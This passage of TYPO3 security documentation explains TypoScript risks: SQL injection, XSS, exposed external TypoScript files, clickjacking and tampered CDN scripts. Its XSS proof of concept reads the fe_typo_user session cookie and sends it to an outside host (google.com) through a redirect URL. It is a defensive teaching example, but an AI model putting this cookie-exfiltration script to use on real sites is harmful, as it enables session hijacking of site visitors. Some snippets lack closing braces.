SQL injection

The CWE/SANS list of top 25 most dangerous software errors ranks "SQL injection" first! The TYPO3 Security Team comes across this security vulnerability in TYPO3 extensions over and over again.

On the PHP side, this situation improved a lot in TYPO3 with the doctrine API using prepared statements with createNamedParameter(), quoteIdentifier() and escapeLikeWildcards().

But TYPO3 integrators (and everyone who writes code using TypoScript) should be warned that due to the sophistication of TYPO3's configuration language, SQL injections are also possible in TypoScript, for example using the CONTENT content object and building the SQL query with values from the GET/POST request.

The following code snippet gives an example:

page = PAGE
page.10 = CONTENT
page.10 {
  table = tt_content
  select {
    pidInList = 123
    where = deleted=0 AND uid=###CONTENTID###
    markers {
        CONTENTID.data = GP:fooid

Argument passed by the GET / POST request fooid wrapped as markers are properly escaped and quoted to prevent SQL injection problems.

See TypoScript Reference for more information.

As a rule, you cannot trust (and must not use) any data from a source you do not control without proper verification and validation (e.g. user input, other servers, etc.).

Cross-site scripting (XSS)

Similar applies for XSS placed in TypoScript code. The following code snippet gives an example:

page = PAGE
page.10 = COA
page.10 {
  10 = TEXT
  10.value (
    <h1>XSS &#43; TypoScript - proof of concept</h1>
    <p>Submitting (harmless) cookie data to google.com in a few seconds...</p>
  20 = TEXT
  20.value (
    <script type="text/javascript">
    // read cookies
    var i, key, data, cookies = document.cookie.split(";");
    var loc = window.location;
    for (i = 0; i < cookies.length; i++) {
      // separate key and value
      key = cookies[i].substr(0, cookies[i].indexOf("="));
      data = cookies[i].substr(cookies[i].indexOf("=") + 1);
      key = key.replace(/^\s+|\s+$/g,"");
      // show key and value
      document.write(unescape(key) + ': ' + unescape(data) + '<br />');
      // submit cookie data to another host
      if (key == 'fe_typo_user') {
        setTimeout(function() {
          loc = 'https://www.google.com/?q=' + loc.hostname ;
          window.location = loc + ':' + unescape(key) + ':' + unescape(data);
        }, 5000);

TYPO3 outputs the JavaScript code in page.10.20.value on the page. The script is executed on the client side (in the user's browser), reads and displays all cookie name/value pairs. In the case that a cookie named fe_typo_user exists, the cookie value will be passed to google.com, together with some extra data.

This code snippet is harmless of course but it shows how malicious code (e.g. JavaScript) can be placed in the HTML content of a page by using TypoScript.

External file inclusion

TYPO3 allows to include external files which implement TypoScript code. Some integrators appreciate the option of having TypoScript outside of TYPO3's backend because the files can be maintained in a version control system and/or can be edited without the need to login to TYPO3. A typical line to include an external TypoScript file looks like this:

<INCLUDE_TYPOSCRIPT: source="FILE:fileadmin/setup/myConfig.typoscript">

It is obvious that this method introduces some serious security risks: first, the file myConfig.typoscript exists in a publicly accessible path of the web server. Without any further protection, everyone who knows or is able to guess the path/file name can access/download this file which often causes an information disclosure.

In order to deny access to all files with the file ending .typoscript, the following Apache configuration could be used:

<FilesMatch "\.typoscript">
  deny from all

However, external TypoScript files have another vulnerability: in the case that an attacker manages to manipulate these files (e.g. via a compromised FTP account), it is possible to compromise the TYPO3 system or to place malicious code (e.g. XSS) in the output of the pages generated by the CMS. This attack scenario even does not require access to the TYPO3 backend.

TYPO3 editors must never be able to edit externally included TypoScript files, since this will have the same impact as the previous attack scenario (e.g. in case of a compromised editor account).


Clickjacking is an attack scenario where an attacker tricks a web user into clicking on a button or following a link different from what the user believes he/she is clicking on. Please see clickjacking for further details. It may be beneficial to include a HTTP header X-Frame-Options on frontend pages to protect the TYPO3 website against this attack vector. Please consult with your system administrator about pros and cons of this configuration.

The following TypoScript adds the appropriate line to the HTTP header:

config.additionalHeaders = X-Frame-Options: SAMEORIGIN

Integrity of external JavaScript files

The TypoScript property integrity allows integrators to specify a SRI hash in order to allow a verification of the integrity of externally hosted JavaScript files. SRI (Sub-Resource Integrity) is a W3C specification that allows web developers to ensure that resources hosted on third-party servers have not been tampered with.

The TypoScript property can be used for the following PAGE properties:

  • page.includeJSLibs
  • page.includeJSFooterlibs
  • includeJS
  • includeJSFooter

A typical example in TypoScript looks like:

page {
  includeJS {
    jQuery = https://code.jquery.com/jquery-1.11.3.min.js
    jQuery.external = 1
    jQuery.disableCompression = 1
    jQuery.excludeFromConcatenation = 1
    jQuery.integrity = sha256-7LkWEzqTdpEfELxcZZlS6wAx5Ff13zZ83lYO2/ujj7g=

Risk of externally hosted JavaScript libraries

In many cases, it makes perfect sense to include JavaScript libraries, which are externally hosted. Like the example above, many libraries are hosted by CDN providers (Content Delivery Network) from an external resource rather than the own server or hosting infrastructure. This approach reduces the load and traffic of your own server and may speed up the loading time for your end-users, in particular if well-known libraries are used.

However, JavaScript libraries of any kind and nature, for example feedback, comment or discussion forums, as well as user tracking, statistics, additional features, etc. which are hosted somewhere, can be compromised, too.

If you include a JavaScript library that is hosted under https://example.org/js/feedback.js and the systems of operator of example.org are compromised, your site and your site visitors are under risk, too.

JavaScript running in the browser of your end-users is able to intercept any input, for example sensitive data such as personal details, credit card numbers, etc. From a security perspective, it it recommended to either not to use externally hosted JavaScript files or to only include them on pages, where necessary. On pages, where users enter data, they should be removed.